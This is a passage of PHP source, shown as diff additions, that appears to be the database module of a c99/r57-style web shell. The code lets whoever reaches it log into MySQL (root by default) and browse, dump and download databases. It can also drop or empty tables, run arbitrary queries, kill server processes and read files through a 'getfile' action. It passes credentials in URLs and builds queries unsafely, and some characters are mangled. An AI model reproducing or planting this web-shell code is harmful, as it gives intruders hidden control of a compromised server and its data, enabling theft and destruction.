array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus"); + $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars"); + $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes"); + $sqlquicklaunch[] = array("Logout",$surl."act=sql"); + echo "<center><b>MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")</b><br>"; + if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\"><b>".$item[0]."</b></a> ] ";}} + echo "</center>"; + } + echo "</td></tr><tr>"; + if (!$sql_sock) {?><td width="28%" height="100" valign="top"><center><font size="5"> i </font></center><li>If login is null, login is owner of process.<li>If host is null, host is localhost</b><li>If port is null, port is 3306 (default)</td><td width="90%" height="1" valign="top"><TABLE height=1 cellSpacing=0 cellPadding=0 width="100%" border=0><tr><td>&nbsp;<b>Please, fill the form:</b><table><tr><td><b>Username</b></td><td><b>Password</b>&nbsp;</td><td><b>Database</b>&nbsp;</td></tr><form action="<?php echo $surl; ?>" method="POST"><input type="hidden" name="act" value="sql"><tr><td><input type="text" name="sql_login" value="root" maxlength="64"></td><td><input type="password" name="sql_passwd" value="" maxlength="64"></td><td><input type="text" name="sql_db" value="" maxlength="64"></td></tr><tr><td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input type="text" name="sql_server" value="localhost" maxlength="64"></td><td><input type="text" name="sql_port" value="3306" maxlength="6" size="3"></td><td><input type="submit" value="Connect"></td></tr><tr><td></td></tr></form></table></td><?php } + else + { + //Start left panel + if (!empty($sql_db)) + { + ?><td width="25%" height="100%" valign="top"><a href="<?php echo $surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"; ?>"><b>Home</b></a><hr size="1" noshade><?php + $result = mysql_list_tables($sql_db); + if (!$result) {echo mysql_smarterror();} + else + { + echo "---[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]---<br>"; + $c = 0; + while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "<b>?nbsp;<a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b>"; mysql_free_result($count); $c++;} + if (!$c) {echo "No tables found in database.";} + } + } + else + { + ?><td width="1" height="100" valign="top"><a href="<?php echo $sql_surl; ?>"><b>Home</b></a><hr size="1" noshade><?php + $result = mysql_list_dbs($sql_sock); + if (!$result) {echo mysql_smarterror();} + else + { + ?><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><select name="sql_db"><?php + $c = 0; + $dbs = ""; + while ($row = mysql_fetch_row($result)) {$dbs .= "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$row[0]."</option>"; $c++;} + echo "<option value=\"\">Databases (".$c.")</option>"; + echo $dbs; + } + ?></select><hr size="1" noshade>Please, select database<hr size="1" noshade><input type="submit" value="Go"></form><?php + } + //End left panel + echo "</td><td width=\"100%\" height=\"1\" valign=\"top\">"; + //Start center panel + $diplay = TRUE; + if ($sql_db) + { + if (!is_numeric($c)) {$c = 0;} + if ($c == 0) {$c = "no";} + echo "<hr size=\"1\" noshade><center><b>There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").<br>"; + if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}} + echo "</b></center>"; + $acts = array("","dump"); + if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";} + elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";} + elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";} + elseif ($sql_tbl_act == "insert") + { + if ($sql_tbl_insert_radio == 1) + { + $keys = ""; + $akeys = array_keys($sql_tbl_insert); + foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";} + if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);} + $values = ""; + $i = 0; + foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;} + if (!empty($values)) {$values = substr($values,0,strlen($values)-2);} + $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );"; + $sql_act = "query"; + $sql_tbl_act = "browse"; + } + elseif ($sql_tbl_insert_radio == 2) + { + $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs); + $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;"; + $result = mysql_query($sql_query) or print(mysql_smarterror()); + $result = mysql_fetch_array($result, MYSQL_ASSOC); + $sql_act = "query"; + $sql_tbl_act = "browse"; + } + } + if ($sql_act == "query") + { + echo "<hr size=\"1\" noshade>"; + if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";} + if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} + if ((!$submit) or ($sql_act)) {echo "<table border=\"0\" width=\"100%\" height=\"1\"><tr><td><form action=\"".$sql_surl."\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\">&nbsp;<input type=\"submit\" value=\"No\"></form></td></tr></table>";} + } + if (in_array($sql_act,$acts)) + { + ?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new table:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newtbl"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newtbl" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>Dump DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="dump"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>">&nbsp;<input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php + if (!empty($sql_act)) {echo "<hr size=\"1\" noshade>";} + if ($sql_act == "newtbl") + { + echo "<b>"; + if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>"; + } + else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();} + } + elseif ($sql_act == "dump") + { + if (empty($submit)) + { + $diplay = FALSE; + echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>"; + echo "<b>DB:</b>&nbsp;<input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>"; + $v = join (";",$dmptbls); + echo "<b>Only tables (explode \";\")&nbsp;<b><sup>1</sup></b>:</b>&nbsp;<input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>"; + if ($dump_file) {$tmp = $dump_file;} + else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");} + echo "<b>File:</b>&nbsp;<input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>"; + echo "<b>Download: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>"; + echo "<b>Save to file: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>"; + echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty"; + echo "</form>"; + } + else + { + $diplay = TRUE; + $set = array(); + $set["sock"] = $sql_sock; + $set["db"] = $sql_db; + $dump_out = "download"; + $set["print"] = 0; + $set["nl2br"] = 0; + $set[""] = 0; + $set["file"] = $dump_file; + $set["add_drop"] = TRUE; + $set["onlytabs"] = array(); + if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);} + $ret = mysql_dump($set); + if ($sql_dump_download) + { + @ob_clean(); + header("Content-type: application/octet-stream"); + header("Content-length: ".strlen($ret)); + header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";"); + echo $ret; + exit; + } + elseif ($sql_dump_savetofile) + { + $fp = fopen($sql_dump_file,"w"); + if (!$fp) {echo "<b>Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";} + else + { + fwrite($fp,$ret); + fclose($fp); + echo "<b>Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>."; + } + } + else {echo "<b>Dump: nothing to do!</b>";} + } + } + if ($diplay) + { + if (!empty($sql_tbl)) + { + if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";} + $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;"); + $count_row = mysql_fetch_array($count); + mysql_free_result($count); + $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;"); + $tbl_struct_fields = array(); + while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;} + if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;} + if (empty($sql_tbl_page)) {$sql_tbl_page = 0;} + if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;} + if (empty($sql_tbl_le)) {$sql_tbl_le = 30;} + $perpage = $sql_tbl_le - $sql_tbl_ls; + if (!is_numeric($perpage)) {$perpage = 10;} + $numpages = $count_row[0]/$perpage; + $e = explode(" ",$sql_order); + if (count($e) == 2) + { + if ($e[0] == "d") {$asc_desc = "DESC";} + else {$asc_desc = "ASC";} + $v = "ORDER BY `".$e[1]."` ".$asc_desc." "; + } + else {$v = "";} + $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage.""; + $result = mysql_query($query) or print(mysql_smarterror()); + echo "<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=structure\">[&nbsp;<b>Structure</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=browse\">[&nbsp;<b>Browse</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_act=tbldump&thistbl=1\">[&nbsp;<b>Dump</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=insert\">[&nbsp;<b>Insert</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + if ($sql_tbl_act == "structure") {echo "<br><br><b>Coming sooon!</b>";} + if ($sql_tbl_act == "insert") + { + if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();} + if (!empty($sql_tbl_insert_radio)) + { + + } + else + { + echo "<br><br><b>Inserting row into table:</b><br>"; + if (!empty($sql_tbl_insert_q)) + { + $sql_query = "SELECT * FROM `".$sql_tbl."`"; + $sql_query .= " WHERE".$sql_tbl_insert_q; + $sql_query .= " LIMIT 1;"; + $result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror()); + $values = mysql_fetch_assoc($result); + mysql_free_result($result); + } + else {$values = array();} + echo "<form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>Value</b></td></tr>"; + foreach ($tbl_struct_fields as $field) + { + $name = $field["Field"]; + if (empty($sql_tbl_insert_q)) {$v = "";} + echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>"; + $i++; + } + echo "</table><br>"; + echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>"; + if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";} + echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>"; + } + } + if ($sql_tbl_act == "browse") + { + $sql_tbl_ls = abs($sql_tbl_ls); + $sql_tbl_le = abs($sql_tbl_le); + echo "<hr size=\"1\" noshade>"; + echo "<img src=\"".$surl."act=img&img=multipage\" height=\"12\" width=\"10\" alt=\"Pages\">&nbsp;"; + $b = 0; + for($i=0;$i<$numpages;$i++) + { + if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";} + echo $i; + if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";} + if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";} + else {echo "&nbsp;";} + } + if ($i == 0) {echo "empty";} + echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\">&nbsp;<input type=\"submit\" value=\"View\"></form>"; + echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1>"; + echo "<tr>"; + echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>"; + for ($i=0;$i<mysql_num_fields($result);$i++) + { + $v = mysql_field_name($result,$i); + if ($e[0] == "a") {$s = "d"; $m = "asc";} + else {$s = "a"; $m = "desc";} + echo "<td>"; + if (empty($e[0])) {$e[0] = "a";} + if ($e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]."%20".$v."\"><b>".$v."</b></a>";} + else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v."\"><img src=\"".$surl."act=img&img=sort_".$m."\" height=\"9\" width=\"14\" alt=\"".$m."\"></a>";} + echo "</td>"; + } + echo "<td><font color=\"green\"><b>Action</b></font></td>"; + echo "</tr>"; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) + { + echo "<tr>"; + $w = ""; + $i = 0; + foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;} + if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);} + echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>"; + $i = 0; + foreach ($row as $k=>$v) + { + $v = htmlspecialchars($v); + if ($v == "") {$v = "<font color=\"green\">NULL</font>";} + echo "<td>".$v."</td>"; + $i++; + } + echo "<td>"; + echo "<a href=\"".$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Delete\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\"><img src=\"".$surl."act=img&img=change\" alt=\"Edit\" height=\"14\" width=\"14\" border=\"0\"></a>&nbsp;"; + echo "</td>"; + echo "</tr>"; + } + mysql_free_result($result); + echo "</table><hr size=\"1\" noshade><p align=\"left\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">"; + echo "<option value=\"\">With selected:</option>"; + echo "<option value=\"deleterow\">Delete</option>"; + echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>"; + } + } + else + { + $result = mysql_query("SHOW TABLE STATUS", $sql_sock); + if (!$result) {echo mysql_smarterror();} + else + { + echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td><td><center><b>Table</b></center></td><td><b>Rows</b></td><td><b>Type</b></td><td><b>Created</b></td><td><b>Modified</b></td><td><b>Size</b></td><td><b>Action</b></td></tr>"; + $i = 0; + $tsize = $trows = 0; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) + { + $tsize += $row["Data_length"]; + $trows += $row["Rows"]; + $size = view_size($row["Data_length"]); + echo "<tr>"; + echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row["Name"]."\"></td>"; + echo "<td>&nbsp;<a href=\"".$sql_surl."sql_tbl=".urlencode($row["Name"])."\"><b>".$row["Name"]."</b></a>&nbsp;</td>"; + echo "<td>".$row["Rows"]."</td>"; + echo "<td>".$row["Type"]."</td>"; + echo "<td>".$row["Create_time"]."</td>"; + echo "<td>".$row["Update_time"]."</td>"; + echo "<td>".$size."</td>"; + echo "<td>&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DELETE FROM `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_empty\" alt=\"Empty\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DROP TABLE `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Drop\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".$row["Name"]."\"><img src=\"".$surl."act=img&img=sql_button_insert\" alt=\"Insert\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;</td>"; + echo "</tr>"; + $i++; + } + echo "<tr bgcolor=\"000000\">"; + echo "<td><center><b>?/b></center></td>"; + echo "<td><center><b>".$i." table(s)</b></center></td>"; + echo "<td><b>".$trows."</b></td>"; + echo "<td>".$row[1]."</td>"; + echo "<td>".$row[10]."</td>"; + echo "<td>".$row[11]."</td>"; + echo "<td><b>".view_size($tsize)."</b></td>"; + echo "<td></td>"; + echo "</tr>"; + echo "</table><hr size=\"1\" noshade><p align=\"right\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">"; + echo "<option value=\"\">With selected:</option>"; + echo "<option value=\"tbldrop\">Drop</option>"; + echo "<option value=\"tblempty\">Empty</option>"; + echo "<option value=\"tbldump\">Dump</option>"; + echo "<option value=\"tblcheck\">Check table</option>"; + echo "<option value=\"tbloptimize\">Optimize table</option>"; + echo "<option value=\"tblrepair\">Repair table</option>"; + echo "<option value=\"tblanalyze\">Analyze table</option>"; + echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>"; + mysql_free_result($result); + } + } + } + } + } + else + { + $acts = array("","newdb","serverstatus","servervars","processes","getfile"); + if (in_array($sql_act,$acts)) {?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newdb"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newdb" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>View File:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="getfile"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_getfile" size="30" value="<?php echo htmlspecialchars($sql_getfile); ?>">&nbsp;<input type="submit" value="Get"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php } + if (!empty($sql_act)) + { + echo "<hr size=\"1\" noshade>"; + if ($sql_act == "newdb") + { + echo "<b>"; + if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";} + else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();} + } + if ($sql_act == "serverstatus") + { + $result = mysql_query("SHOW STATUS", $sql_sock); + echo "<center><b>Server-status variables:</b><br><br>"; + echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";} + echo "</table></center>"; + mysql_free_result($result); + } + if ($sql_act == "servervars") + { + $result = mysql_query("SHOW VARIABLES", $sql_sock); + echo "<center><b>Server variables:</b><br><br>"; + echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";} + echo "</table>"; + mysql_free_result($result); + } + if ($sql_act == "processes") + { + if (!empty($kill)) {$query = "KILL ".$kill.";"; $result = mysql_query($query, $sql_sock); echo "<b>Killing process #".$kill."... ok. he is dead, amen.</b>";} + $result = mysql_query("SHOW PROCESSLIST", $sql_sock); + echo "<center><b>Processes:</b><br><br>"; + echo "<TABLE cellSpacing=0 cellPadding=2 bgColor=#333333 borderColorLight=#333333 border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b></td><td><b>Action</b></td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo 